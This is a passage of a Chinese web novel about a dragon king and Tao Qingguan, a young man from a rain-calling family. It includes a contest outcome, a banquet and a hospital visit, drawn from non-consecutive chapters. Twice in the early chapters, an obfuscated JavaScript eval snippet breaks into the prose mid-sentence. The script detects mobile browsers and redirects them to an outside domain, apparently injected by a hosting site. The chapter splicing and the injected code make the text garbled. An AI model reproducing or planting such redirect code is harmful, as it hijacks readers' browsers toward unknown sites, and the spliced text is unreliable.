同一时间,陶家祖宅内。 宴氿坐在椅子上,面前摆着三菜一汤,自从陶清观走后,他就吃上了正常的饭菜,至于为什么,陶笠鹤没说,宴氿也没问。 先前被小孩馋了那么多天,虽然最后他也尝了亿点点,不得不说精心准备的饭菜,享用起来确实身心舒畅哪个,但还是小孩做的更好吃。 宴氿吃完饭,慢条斯理地擦嘴,算算日子,也差不多到时间了。 22.第 22 章 宴氿站起身,向后门走去,今天该换鱼缸里的水了。 他路过餐桌时,顺手拿了一个苹果,宴氿拎起陶清观常用的红桶爬上后山。 像他这种会给自己换水的鱼,怕是仅此一条,宴氿走在崎岖的山路上,步伐轻松,很快就爬上去一大截。 望见熟悉的土地庙,宴氿把带来的苹果往土地庙前一搁。 没什么特别的原因,就是看陶清观每次上来都会带一个苹果,现在对方来不了,他便帮忙带了上来。 不是什么麻烦的事,而且苹果这种东西,对他来说属于食之无味,弃之可惜,实在喜欢不起来。 但山里的小动物似乎挺喜欢的,他上次放的苹果已经不见了。 宴氿没在土地庙前停留,放下苹果就走了,他穿过山间狭窄部位,来到泉水流出的地点。 他将水桶放在地上,半靠着山壁等待泉水接满,现在陆地的灵远远少于海洋,而他的身体更适应海洋的环境,所以在陆地时他需要额外补充灵。 像这种山间泉水就是很好的选择,没有被污染,含灵量丰富。 宴氿百般无赖,视线漫无目的地转悠,忽然他瞥见一处草丛后的山壁上有模糊的字迹,大概是最近有小动物来过,那块草明显被踩踏过,这也导致原本藏得好好的字露了出来。 他来了兴趣,踱步上前,将草拨开,歪七扭八的字出现在他眼前。 ……天……子,天子? 宴氿不确定,又看了几眼,但横看竖看,都是天子,他眉尖微微上挑,这个地方知道的人不多,而这些字瞧着有些年头。 陶笠鹤显然不可能刻下着两个字,再结合字的高度,和狗爬一样的字迹,宴氿破案了。 是幼年时期的陶清观刻下来的。 没想到啊,小孩居然还有如此远大志向,只可惜现在的人类社会很稳定,就算是他,也不能给小孩捞个天子当。 不过他有龙王的名号,小孩若是认他当干爹,天子不行,当个太子还是可以的,虽然说龙王不是世袭制,但如今就剩他一条龙,自然他说的算。 哄骗小孩的方法又多了一个。 宴氿贴心地把草盖回去,还用石头盖着点,免得这片草又被小动物扒拉开。 待他处理好陶清观的小秘密,泉水也接的差不多了,宴氿带着装满泉水的桶,回到山脚下的陶家祖宅。 宴氿单手拎起水桶,将泉水倒入浴缸中。 陶笠鹤回到祖宅的时候,看到的就是这样的场面,他在心底叹了口气,有些无奈。 也不知道龙王是怎么想的,拒绝他们照顾,自己爬上爬下,好在除了这点,龙王没再提出其他要求,但不想遇见参赛者这点,还是一如往常。 陶笠鹤接过宴氿手中的空桶,开口道:“明天中午,比赛正式结束,您心中有合适的人选了吗?” 宴氿闻言,脑海中浮现一个人影,他勾起唇角,说道:“是有一个。” 陶笠鹤嗯了一声,他点到为止,没有追问结果,到了明天,自然会知道的。 殊不知,唯一一次能够阻止宴氿的机会,就这么从他手中滑走了。 时至第二天正午。 特管局高层在陶家祖宅的大堂中会面,其余参赛者在二楼的休息室中焦急地等待。 宴氿坐在首座,漫不经心地把玩着衣服上的配件,随着特管局的人不断入座,这间沉寂许久的祖宅,又一次热闹起来。 “这是各位选手的比赛分数,当然,您不在的那段时间,他们获取的分数并不作数。”担任文职的陈景黎将整理好的资料放在宴氿面前,然后又为在场的每一个人发了一份。 他做的整理很贴心,第一页就是按照分数排列的总览图,谁获得了多少分,是第几名一览无余。 在场的人对排名心中都大概有数,他们草草看了几眼,便或明或暗地将目光转向宴氿。 第一名拿到了5.6分,但决定性的四分在宴氿手中,不到最后,谁也不知道契约者的人选会花落谁家。 宴氿将手里的资料翻完,没在其中找到熟悉的名字,他眉心逐渐皱起,又把资料翻了一遍。 陶笠鹤见宴氿来回翻了三四遍,他试探着开口问道:“这份资料是有什么遗漏的地方吗?” “嗯。”宴氿把资料合上,往前一推,“里面少了一个人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15308267|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陶笠鹤疑惑:“资料核对过很多遍,不可能出现这种低级错误,而且中途并没有人退赛,这份名单和参赛名单的人数是一致的。” 宴氿眉间皱得更紧,心底冒出几分异样感,他目光扫过陶笠鹤,对方的神情不似作假,他短暂地停顿了一下,开口道:“你的孙子为什么不在里面?” 陶笠鹤一愣,不确定地说道:“您是说凌霄?他只是过来涨涨见识的,并不算参赛人员。” 感受到桌上其他人的目光看过来,陶笠鹤腰板都挺直了些,这次陶凌霄可是给他长脸了,但他心底也纳闷,没听说凌霄在龙王面前露过脸啊,怎么被龙王记住了? “不,不是他。”宴氿一口否决。 这下陶笠鹤更疑惑了,好在宴氿没再让他猜,直接将人说了出来。 “是陶清观。” 陶笠鹤:“……啊!?” 不是,小观?他、幻听了?不然怎么会听到陶清观的名字。 宴氿看到陶笠鹤的反应,那股不好的预感几乎化为实质,他沉声道:“你都把人送到我这了,不就是想让我多关注他几分。” 陶笠鹤:“我没有!” 话音落下,宴氿面色一黑,藏在桌下的手收紧,前后矛盾的点在此刻通顺起来。 原来如此,原来是这样,他就说小孩怎么一股莫名的松弛感,完全不像来比赛的样子,感情对方是真的来度假的。 那他费神费力陪对方折腾了大半个月算什么? 算他倒霉? 宴氿心底跟颜料盘打翻了似的,五颜六色,煞是好看,他面上不动声色,漆黑的眼眸盯着陶笠鹤,无形间给对方施加压力。 陶笠鹤就差高喊请苍天,辨忠奸,他比窦娥还冤啊,“小观的情况,您老肯定一眼就能看出来,他完全没有唤雨的天赋,我怎么可能让他参赛。” “我倒觉得他的天赋挺不错。”宴氿冷眼扫过去,点着手边的排名,态度强硬,“按照你们规定的得分机制来算,他与第一名分数差不多。” 管他黑的白的,他说是就得是,要不然他那大半个月岂不是白搭了。 谁都不能跟他抢未来干儿子。 23.第 23 章 陶笠鹤语噎,这事他是知道的,宴氿说的没错。 陶清观的体质很特殊,他对灵的容纳量达到一个前所未用的高度,在陶清观小时候,他就发现了这点,当时还以为家里出了个空前绝后的奇才。 为此,他在陶清观三岁时就尝试教对方唤雨,但结果和他想的完全相反,陶清观对灵的感知度与容纳量完全成反比,他再怎么教,陶清观也只是用懵懂的眼神望着他。 各种方式,陶笠鹤尝试了个遍,教学进度依旧没有进展,陶清观好像天生缺少使用灵的能力,哪怕他手把手带着陶清观去感应,也没有用。 而且这中途还出现了意外,因为他多次教导,陶清观开始无意识吸收游荡的灵,让本该降下的雨消散无踪。 这与陶笠鹤的初衷完全背道而驰,所以他选择终止教学,并引导陶清观慢慢忘记有关唤雨内容。 三四岁的小孩子忘性本就大,过了一两年后,陶清观不再大量吞噬游荡的灵,一切回归正轨。 反正不会唤雨也不是多要紧的事,快快乐乐长大就行,陶清观于他还是疼爱的孙子。 可到这边,陶清观跟打通任督二脉似的,接二连三地阻止雨落下,甚至把龙王降下的雨都给灭了,一整个大觉醒,偏偏考虑到选手内斗的局面,他们设置让雨停下也算分。 宴氿说得还真没错,若是给陶清观打分,确实跟第一名差不多。 可……可,可这场比赛是选唤雨能力强的,不是选旱魃! 陶笠鹤顶着众人的目光,感觉自己老脸快挂不住了,“这不合规矩,他不在参赛名单里。” 宴氿不悦,周身萦绕着低气压,“但他出现在比赛场地,并且你们并没有人提前告知我,他不是参赛者。” “他是顶替我的位置,作为守着您的人。”陶笠鹤出声辩解,“您在一开始便说了,不希望和参赛者们有过多接触,我们怎么可能把参赛者安排到您面前。” 宴氿还是那句话,“我事先并不知道。” 陶笠鹤汗流浃背了,“可是……” “我、不、知、道。” 陶笠鹤:“我……” 宴氿直接打断陶清观的话,“现在我定下来的人是他,并且将我的四分给他,他就是第一,这契约者的位置必须是他的。” 陶笠鹤见宴氿已经把话说死了,他嘴里发苦,和龙王在这么多人面前闹不愉快,显然没有必要,他开口道:“我们再商讨一下。” 他冲围观的人使眼色,当时同意让陶清观进来,大家都有份,这锅可不能他一个人背。 宴氿不关心他们的扯皮内容,他只要一个结果,“随你们怎么商讨,但我接受的结果只有一个。” 说完,他大步离开,走得要多潇洒有多潇洒,背影坚定决绝,徒留一桌子人面面相觑。 …… 陶清观拖着疲惫的步伐回到公寓内,不知道是不是他感觉错了,总觉得待在祖宅那边更舒坦些,大概是那边的空气更加新鲜吧。 他啪叽一下倒在软乎乎的床上,对祖宅的怀念顿时淡去不少,地铺铺得再厚也比不上床软,还有那个破水空调,外面温度稍微高一点,制冷效果就噌噌地往下掉。 金窝银窝不如自家狗窝,陶清观感受着强力制冷的威力,发出一声喟叹。 这时,裤子口袋中的手机震动了一下,陶清观掏出手机,发现是爷爷的未接电话,在往上翻一共有三个未接电话。 白天上班时,他把手机静音,放在了别的桌子上,一时没注意到。 又有什么事? 陶清观眼底浮现疑惑,今天中午,他爷爷不知道抽什么疯,突然打电话过来,不管三七二十一,戴着他一顿叨叨,那怨气,感觉路过的狗都得被踹上一脚。 现在又打电话过来,陶清观直觉不是什么好事,他在回拨与无视之间徘徊,忽然砰的一声巨响,陶清观吓得手一抖,手机掉在床上。 他立马坐起来,房间外的敲门声还在继续,隔着一道门听得都无比清晰,哐哐哐的一声接一声,似乎不把门敲掉下来誓不罢休。 汤姆的,谁啊,催命呢。 本来工作日就烦,现在更烦了,陶清观顶着怨念爬起来开门,他本想在猫眼看一眼,但发现过年的时候他在门上贴的福字,忘记戳洞了,凑上去也是一片漆黑。 看不见,陶清观索性抄起旁边的扫帚,猛地将门推开,刚想开口怼人,看清门外的状况,他愣住了。 狭小的楼梯道内,他的爷爷一脸痛心疾首,身后还站着四五个壮汉,一群人把他家门口挤的满满当当,连个下脚地都没有。 陶清观茫然地望了一圈,问他爷爷,“你是欠人家钱,被追上门了吗?” 这些壮汉,瞧着明显不像善茬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15311925|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 陶笠鹤长叹一口气,恨铁不成钢地开口,“我老陶家就你一个没唤雨天分的,龙王怎么偏偏看上你了,收拾东西,跟我走。” 陶清观:“!?” “……啊?你不是欠钱,你是出去搞传销了!?”陶清观见那些壮汉要动手,赶忙拉着门把手就要关门,“我不去,你还是我爷爷吗?哪有爷爷把亲孙子往传销窝点送的。” 陶笠鹤听陶清观越说越离谱,没忍住一巴掌拍在陶清观脑袋瓜子上,他瞪了陶清观一声,没好气地说道:“你还好意思说,你给龙王灌了什么迷魂汤,人家现在非你不可。” 陶清观一脸懵逼,完全跟不上他爷爷的脑回路,什么龙王?什么非他不可?这都什么跟什么啊。 但显然陶笠鹤不打算再跟陶清观解释,他不着痕迹地向旁边的壮汉们使了个眼色,示意赶紧动手。 壮汉们心神领会,卡门的卡门,抬人的抬人,陶清观跟小鸡仔似的根本没有反抗的机会,直接被壮汉们架了起来。 陶清观木着脸望向罪魁祸首,大意了,没想到他爷爷居然会直接大义灭亲。 他被抬进电梯,就是字面意义上的抬,进去后,陶清观被压在离电梯门最远的角落,其余人围着他,杜绝了他逃跑的最后一丝可能。 陶笠鹤装模作样地唉声叹气,用迫不得已而又无奈的眼神看向陶清观,开始打感情牌。 “囡囡啊,你这么聪明,肯定知道我们家是有干那么点不寻常的活,这龙王我们家是万万招惹不起啊,如果不把你带过去,我们大家都得完蛋。” 陶清观死鱼眼,“嗯?你跳大神骗到龙王头上了?” 陶笠鹤嘴角抽搐,他面上装出哀伤忧郁的神情,卖惨道:“是龙王指定要你,唉,龙王位高权重,我们家就是个没什么底蕴的小作坊,爷爷实在没办法,只能带你过去了。” 宴氿给的期限就是今天,不然就一拍两散,特管局已经闹翻天了,不管结果如何,他得先把这小兔崽子哄过去。 哎哟,可逮着他一把老骨头折腾吧。 陶笠鹤拍了拍陶清观的肩膀,“他好歹是龙王,不会对你做什么,是爷爷人微言轻,护不住你,但你放心,要是情况不对,爷爷拼死也会把你摘出来,” “总之,你就安心跟我见龙王吧。” 陶清观:“……”是龙王,还是阎王? 50-60 第51章 第 51 章 宴氿:这是赔礼。 “啊?” 陶清观揉了揉酸痛的耳朵, 大声道:“你说了什么?刚刚那声雷太响,震到我的耳朵了,现在耳朵嗡嗡的, 听不清声音。” 宴氿唇瓣嗫嚅, “我……” “不行,还是听不清。”陶清观又搓了两下耳朵, “唤雨的情况怎么样?范围够了吗?” 宴氿攥紧手又缓缓松开,发热的头脑冷静下来,心底说不清是惋惜还是庆幸, 听到陶清观的问题,他勾起唇角,向对方竖起大拇指。 很棒,甚至超出他的预料。 陶清观咧开嘴笑了,他眉眼弯弯, 眼眸如夜空中闪烁的星子,璀璨耀眼。 台下的雨师们看陶清观的眼神都不一样了,这其中陶笠鹤笑得最欢, 老脸皱得跟菊花似的, 他被雷劈得灰头土脸的,头还昂得老高, 生怕别人不知道陶清观和自己的关系。 陶清观强撑着走下祭坛, 到没人的地方,他往宴氿身上一靠, 长吁一口气, “累死我了。” 宴氿手微微抬起,想揉一下陶清观的脑袋,但这时陶笠鹤赶过来。 陶笠鹤嘴角就没下来过, 他头顶卷发,一张黑脸露出白色的大牙,啪啪拍着陶清观的后背,笑声爽朗,“好小子,给爷爷长脸了,你这范围都快赶上一个省,我就知道你肯定能行。” 他的话有夸张的成分在,但也足以证明陶清观的实力 陶清观被拍得一个趔趄,好在宴氿及时拉住他,陶清观听不清陶笠鹤在说什么,不过看对方的神情,他也能猜到一个大概。 就是这脸实在让人不敢恭维,他拦住陶笠鹤还要再拍得手,嫌弃道:“行了行了,我这会儿听不清,你夸也没用。” 陶笠鹤闻言,上前查看,嘴上念叨着:“震到耳朵了?你不会拿灵护着点吗?” 有宴氿在,他不担心陶清观的安全,再加上陶清观身上好东西不少,他就更不用担心,没想到最危险的是躲过去了,反倒在雷声上栽了跟头。 陶笠鹤这两句话凑在耳边,陶清观勉强听清,他撇了撇嘴,“我哪知道会突然打雷,还正好劈在我们这边。” “害,是你高处的动静太大,我们这边作为中心自然会出现一点异象。”陶笠鹤捏着陶清观的耳朵检查,没发现流血,他心落到实处,“没事,过一会儿应该会自己恢复。” “哦。” 陶清观蹙着眉,耳边像有几十只苍蝇蚊子在飞一样,扰得他没法清净,他还想揉,但一只手比他快一步。 宴氿指尖聚着些许灵,摁在陶清观耳前的穴位,他俯下身,靠在陶清观耳边问道:“有好点吗?” “嗯。”陶清观眉心松开点,“小问题,除了有点吵,也不是太碍事。” “晚点看看,要是还难受,就去医院一趟。”陶笠鹤的目光掠过宴氿的脸庞,心底生起一种说不出的违和感。 宴氿似是感受到他的目光,抬眸望过来,漆黑的眼眸好似将一切光芒吞没,陶笠鹤心中凌然,他移开视线,对陶清观道:“赶紧去换另一身衣服,我给你放休息室了。” 陶清观不解,“为什么要换?” “我没跟你说吗?晚点有个宴会。”陶笠鹤一脸意外,“反正你快点去换,这次你可是主角。” 陶清观:“……”除了哪都不靠谱外,陶笠鹤其他都挺靠谱的。 换就换,正好穿这身衣服陶清观也觉得麻烦,身上的力气恢复不少,陶清观不再靠着宴氿,迈步向休息室走去。 陶清观走得有点快,宴氿落后他一些,忽然他听到宴氿叫自己的名字,陶清观下意识回头。 咔嚓一声。 青年的神情定格在屏幕上,他眼眸睁圆,似是疑惑,银饰随着他的动作轻轻荡起,风吹起衣摆,溅起的雨水氤氲开一层雾气,一切都刚刚好。 那双眼眸中倒映着自己。 宴氿唇角扬起一抹弧度,自然地收起手机,“留作纪念。” “等等,给我看看。”陶清观凑过去,“你不会把我拍得很丑吧,快拿出来。” 宴氿不给,他避开陶清观的手,揽着人往前走,“你对自己的长相还没信心吗?不丑,很帅气。” 陶清观对宴氿的话表示怀疑,可胳膊拗不过大腿,他被宴氿带到休息室。 宴氿松开手,“换衣服,你爷爷那边等着呢。” 陶清观不情愿地应了一声,“哦。” 他拿起桌上的衣服,没多想,就将开始脱身上的衣服,这身衣服难穿难脱的,陶清观一边脱一边和宴氿闲聊,“你刚刚在台上想和我说什么?” 宴氿低头望着屏幕漆黑的手机,声音平静地回答道:“没什么,就是问你有没有受伤。” “多亏玄北送的手串,闪电全被挡住了。”陶清观开口道:“下次再见到,得谢谢他。” “要真那么有用,你耳朵也不会被震到。”宴氿语气中充满不屑,“不找他麻烦就不错了,不用跟他道谢。” “……哦。” 陶清观不由多看宴氿一眼,他怎么感觉今天宴氿对玄北的敌意有点大,但一想到玄北嘴欠的样子,宴氿这态度又不稀奇了。 自作孽不可活。 不过祭坛上宴氿说话的时候,他隐隐约约好像听见伴侣二字,应该是他听错了吧,陶清观很快就将这件事抛之脑后。 他换好衣服,照例看了眼镜子,他暗自肯定,“老头子眼光不错,像我。” 宴氿嘴角一抽,没接陶清观的茬,他的视线在陶清观腰间走了一圈,平时陶清观喜欢宽松的衣服,现在换上贴身的西装,劲瘦的腰肢格外抢眼。 再加上陶清观最近长了点肉,臀部线条流畅圆润,宴氿克制着收回目光,“欣赏够了吗?” 陶清观神情满意,“我们走吧。” “在外面等我,我衣服没换。”宴氿穿的还是最简单的休闲装,在祭坛下无所谓,可参加宴会,作为最基本的礼貌,他还是会换上正装。 陶清观脚下不动,直勾勾地盯着宴氿看,“我换衣服的时候都没赶你出去,你居然要赶我。” 宴氿就知道陶清观会这么说,“我是担心你不会脱,而且我全程没有看你一眼。” “那我也不看你。”陶清观耍赖道:“我就在旁边站着,保证不偷看。” 宴氿无奈,“行,你把脸背过去。” 陶清观乖乖转身,听着背后衣物摩擦的窸窣声响起,他眼珠子转悠,在宴氿脱完衣服的那一刻,他骤然回头。 预想中穿内裤宴氿没看见,倒是看见宴氿不出所料的表情。 陶清观理不直气也壮,“我没偷看,我是光明正大地看的。” 宴氿早就猜到陶清观会不老实,特地先把上衣换了,垂下来的衬衫正好将不该看的地方挡住。 他拿过一旁的外套,盖在陶清观脑袋上,“老实点。” 陶清观:“嘁。” 视线变暗,陶清观掀开衣摆一角,刚见到一点亮,就被人摁住,隔着衣服他的脑门被弹了一下,陶清观撇嘴,老实将手放了下来。 过了没一会,宴氿拿开外套,看到一张不太服气的脸,他手指微动,想捏捏陶清观的脸蛋,但心中有所顾忌,还是没有动作。 “走了。” 陶清观望着宴氿的背影,抬脚跟上去,他歪着脑袋打量宴氿,对方穿西装的模样他还是第一次见,居然意外的合适。 宴氿本身肩宽腰窄,腿又长,典型的穿衣显瘦,脱衣有肉,束在身后的长发让对方少了些锐气,显得五官柔和几分。 陶清观琢磨了一下,拉住要出门的宴氿,说道:“你要不把头发束高点。” 以他的眼光来看,梳上去会更好看,就是宴氿的头发稍微有点长,都顶到肩胛下角了,陶清观跃跃欲试,“我可以帮你。” 宴氿狐疑地望向陶清观,摸不准对方心底在打什么小九九,他迟疑片刻,“你打算给我薅秃?” “我是那种人吗?”陶清观推着宴氿到椅子边,“你坐下,相信我的眼光和手艺。” 眼光能相信,但手艺宴氿感觉有待商榷。 他半推半就地坐下,发带被陶清观抽走,指腹划过头皮留下酥麻的触电感,宴氿身体绷直,他抿着唇没露出异样。 陶清观完全没注意到宴氿表情如何,他在和头发做斗争,宴氿的发量让他留下不争气的泪水。 可恶,为什么一条老龙能有这么多头发,他恨。 陶清观没蒙宴氿,他手是挺巧的,梳个高马尾难不到他,他三两下将头发扎好,从宴氿后边探出身子回头瞧对方。 “我就说梳高一点好看。”陶清观得意道。 宴氿反手捉住陶清观的手,在对方指缝间找到几根长发,他眯起眼眸,“你当我没感觉吗?” “区区几根头发,不影响。”陶清观嘿嘿两声,跳到一旁,催促道:“快点,爷爷那边要等急了。” 陶清观说完,率先冲出房间。 宴氿抬脚跟上,他追到陶清观身旁,抬手在对方脑袋上薅了一下。 陶清观嘶了一声,控诉道:“你揪我头发!” “嗯。” 宴氿手中捻着一小撮头发,长短不一交织在一起,他勾起唇角,似乎心情不错,“这是赔礼。” 第52章 第 52 章 宴氿:他就是在勾引我 什么狗屁陪礼, 分明是蓄意报复。 陶清观忿忿瞪了宴氿一眼,把被揉乱的发型重新整理好,要不是真快迟到了, 他高低得和宴氿争论几句。 宴会的地点就在不远处的大礼堂内, 陶清观二人来的时候距离宴会开始还剩十来分钟,但会场内的人并不多。 陶清观扫了一眼, 发现来的人都新做了发型,有的头发还带着一丝潮意,他瞬间明白大家为什么会这么墨迹了, 这雷劈的真狠。 老远看见自家爷爷呲着个大牙笑,陶清观抬脚准备去找人,刚走两步,发觉身旁的宴氿没跟上,他脚步停下, 回过头,“怎么了?” “听过叶公好龙的故事吗?”宴氿站在原地,没有要走的意思, “我在这就行, 你自己去吧,这次的来宾身份背景都不简单, 多认识些对你有好处。” 陶清观想说些什么, 但陶笠鹤的声音在这时响起,他对宴氿说了句好, 快步离开。 走到一半, 陶清观回眸望去,宴氿静静地站在那,有人上前和宴氿打招呼, 举止间透露着拘谨,一瞬间陶清观明白了宴氿的意思。 龙王……真牛掰,自带缄默debuff,简直是躲清静的不二人选。 陶清观被陶笠鹤拉过去,他看着面前几位西装皮革的人,露出礼貌性的微笑。 陶笠鹤在一旁介绍,“这位是董氏集团的老总,你叫他董叔叔就行。” “董叔叔好。” 陶清观落落大方地开口,“我在财经节目上见过您,今天有幸看到真人了。” 董新强笑声爽朗,他拍了下身旁人的肩膀,“这位是我儿子董飞,跟你差不多大,你们认识一下,交个朋友。” 董飞适时拿出名片,陶清观也很上道,当场加了联系方式。 董新强对陶清观是越看越满意,他打趣陶笠鹤道:“凌霄已经是难得一遇,没想到小观更是天纵奇才,老陶,你这孙子是一个比一个长脸,我都要嫉妒你了。” 陶笠鹤哈哈笑道:“小飞也不错,我听说他已经进公司帮你了,最近还拿下一个不小的项目。” “都是运气好。”董新强谦虚道,但眼底是不加掩饰的骄傲,“小观在特管局里有职位了吗?” 陶清观回答的滴水不漏,“我觉得自己还需要历练一下,而且我本身有工作,爷爷也担心我忙不过来。” “这样啊,我记得你是在三甲医院工作。”董新强感慨,“你可真是样样全能。” 陶清观:微笑.jpg 董新强又戳陶笠鹤,“我家这小子拿下合同的后脚就跟我要奖励,你也该准备上了。” 董飞不好意思地说道:“那车限量的,说晚了就不来及买了。” 陶笠鹤琢磨了一下,望向陶清观,“想要车吗?” 陶清观:“谢谢爷爷。” 别想不想,多没诚意啊,就该直接给! 陶笠鹤知道陶清观是个什么尿性,他哼出一声嗯表示自己知道了,该给的奖励肯定少不了。 他和董新强寒暄,聊着聊着又来一批人,话题都离不开陶清观,有夸赞,也有想结交的。 短短十几分钟,陶清观联系列表里多了十几位商政界的大佬,又加了不少所谓的公主太子爷。 陶清观趁着过来的几人在打招呼,他挪到陶笠鹤背后,压低声音嘀咕道:“你不厚道,认识这么多人,以前都没想过给我介绍一下。” 他还真以为自己家就是个有点小钱的中层阶级,结果陶笠鹤闷声不响干大事,这认识的人是一个比一个厉害。 “那能一样么。”陶笠鹤瞪了一眼陶清观,“之前人家是冲着我来的,但现在人家可都是冲着你来的。” 陶笠鹤很清楚自己凭什么在这个圈子站稳脚跟,若陶清观没有天赋,他保他衣食无忧,快快乐乐活一辈子便够了,没必要带着对方来这边淌混水。 但现在陶清观已走进这个圈子,他自然不吝啬用自己的人脉帮孙儿保驾护航,以他的身份再加上陶清观目前展现出来实力,足以让陶清观成为走到哪都被巴结的存在。 陶清观啧了一声,也没再说什么,见有人走过来,他重新端起微笑。 他记忆力好,这次来的人有基本是有头有脸的,谁过来陶清观都能聊上几句,大半场宴会下来,陶清观脸都笑僵了,可他身旁还围着一圈同龄人,想跑都跑不掉。 陶清观端着酒杯和身旁的人聊天,目光不着痕迹地搜寻宴氿,找到对方后,他抛给对方一个眼神,企图靠默契让宴氿快来救自己。 help!help! 可比宴氿先靠过来的是陶凌霄,看清陶凌霄那张脸,陶清观面上的笑容淡去,他点了下头算是打招呼,完全没有和陶凌霄聊天的欲望。 在场的人都认识陶凌霄,毕竟以前陶笠鹤带在身旁的人是对方。 “凌霄,好久不见。”有人出声与陶凌霄打招呼,“听说前不久你出任务去了,情况顺利吗?” 哪有什么任务,分明是在关禁闭。 陶清观眉尖上挑,好整以暇地望着陶凌霄,倒是挺会给自己找借口的。 陶凌霄面上闪过一丝难堪,他的眼底纠缠着复杂的色彩,面对朋友的问候,他牵强地扯了下嘴角,“……嗯。” 那人没察觉到陶凌霄的异样,热情地开口:“下次出去把清观也叫上,有弟弟在你该给我们点面子吧。” 陶清观噗嗤一声,见其他人看过来,他摆摆手,“没事,你们继续。” 陶凌霄脸色更加难堪,他撇下几人,转身离开。 说话的那个人有些无措,不知道自己哪句话得罪了陶凌霄。 “没事,他今天心情不好而已。”陶清观拍了下对方的肩膀,“我也离开一下。” 陶清观冲其余几人笑笑,也迈步离开,他直冲着待在角落的宴氿走去,对方坐在沙发上,身边空无一人,形成完美的真空地带。 他往宴氿身旁一坐,小声抱怨道:“你都不来救我。” “多认识些朋友对你有好处。”宴氿漫不经心地晃着手中的酒杯,“跑到我这,你新交的小伙伴们可不敢过来了。” 陶清观往后一靠,“不来就不来吧。” 他变戏法似的拿出几颗糖,递到宴氿面前,“你不饿吗?里面好吃的东西还挺多的。” 宴氿接过陶清观掌心的糖,被纸包裹的巧克力入手微软,带着一点余温,他眸光微闪,揭开糖纸,放入口中。 巧克力在口中化开,甜意中带着丝丝苦味。 陶清观见此,自己也吃了一颗,开口道:“好像是手工巧克力,比超市里卖的好吃。” 宴氿偏过头,陶清观腮帮子一鼓一鼓的,像只偷吃的仓鼠。 可爱。 他叠着手中的糖纸,尚未平静的情愫又掀起波澜,再等等,他告诉自己,现在陶清观对他完全没有那方面意思,就算说出口,也得不到想要的回答。 陶清观没等到宴氿接话,转过头发现对方神色严肃的盯着地面,他跟着望过去,光秃秃的实在没什么好看的。 他心底疑惑,又去瞅宴氿,正好在宴氿的嘴角看到一个小黑点,大概是刚刚的巧克力屑,他戳了下宴氿的胳膊,指了指自己的唇边,“这里。” 宴氿瞳孔骤缩,手指攥紧,指节泛起白色。 什么意思? 为什么指着这个地方? 难道…… “有东西。”陶清观皱眉,见宴氿半天没有动作,他抽了张纸塞到对方手上,“快擦擦。” 宴氿:“……嗯。” 陶清观装出无奈的样子,摇头叹气,“都多大的人了,吃东西居然还沾到嘴角上,会被人笑话的。” 宴氿抿起唇,没几个人敢笑话他,但会有个大胆的家伙凑上来……想起上次陶清观‘喝醉’的事,宴氿手攥得更紧了。 他真的能忍耐到陶清观也喜欢上自己么? 宴氿在心底打上一个问号。 ………… 又是一天万里无云。 陶清观站在医院门口,身旁跟着宴氿,他径直向自己工作的科室走去,但这一次他没穿白大褂,而是作为患者进去了。 “噗哈哈哈哈哈哈!” 陆满满坐椅子上笑得前仰后合,他一边拍着桌子,一边无情嘲笑,“你耳朵被雷震得耳鸣了?哈哈哈哈哈哈哈哈……” “笑死我了,你也有今天,好好的雷雨天,你非要跑出去作死。” 陶清观面无表情,“把你的嘴闭上,快点测。” “啧啧。”陆满满给陶清观把仪器带上,嘴上叭叭着,“我们这近两天也没下雨,你请假跑到哪玩去了?和对象度蜜月?感情不错哦。” 陶清观冷笑,他不相信陆满满不知道测的时候不能说话,非得挑这时候问他。 狗贼。 等测完,陶清观自己把仪器摘了,放到桌面上,“我哪来的对象,你别给我造谣,快点把报告给我,陈主任那边在等。” “啊?”陆满满一愣,视线在陶清观和宴氿之间来回移动,“你没对象吗?” 陶清观莫名其妙,“我要是有对象能不告诉你?你抽什么风。” “呃……” 陆满满多看宴氿一眼,对方没有反驳的意思,也就是说不是小情侣吵架,他有点茫然地挠挠头,“是我误会了。” 陶清观:“?”什么东西? 陆满满拿过打印好的报告,在下边签上自己的名字,他把报告往陶清观面前一推,又确认一遍,“你真的没对象?” “没有。” 陶清观要抽走报告,可陆满满的手紧紧摁住。 陆满满往陶清观跟前凑了点,“那周末的聚会你也一起去呗,你去的话,来参加的女生肯定更多。” 读作聚会,写作联谊。 第53章 第 53 章 陶清观:你喜欢什么类型…… “不去。”陶清观一口否决, 他无视陆满满期待的小眼神,抽出报告单,“我对这种聚会没兴趣。” 陆满满试图挽留, 他拽住陶清观的胳膊, “你就当过去混个饭,你的那份钱, 我帮你出。” 陶清观还没回答,一只手伸过来,宴氿拉开陆满满的手, 他是在笑,可手上的力道却不容质笃。 宴氿松开陆满满,浅笑着开口:“他不想去。” “哦……”陆满满握着自己被捏过的手,关节隐隐做痛,他咽了下唾沫, 不由后退一步,“那我自己去吧,哈哈……” 陆满满干笑两声, 陶清观疑惑地问道:“你干嘛, 笑得这么假。” “没事。”陆满满脸都要抽筋了,他顶着宴氿的视线, 将陶清观往外边推, “你不是说陈主任在等你,你还不赶紧走。” 陶清观不明所以, 被推出科室, 他回头看紧闭的门,摸不着头脑。 什么情况?更年期到了? 宴氿挡在门前,问道:“现在回之前那个诊室?” “嗯。” 陶清观没想明白, 只当陆满满每个月也有那么几天,他收回目光,抬脚向四号诊室走去。 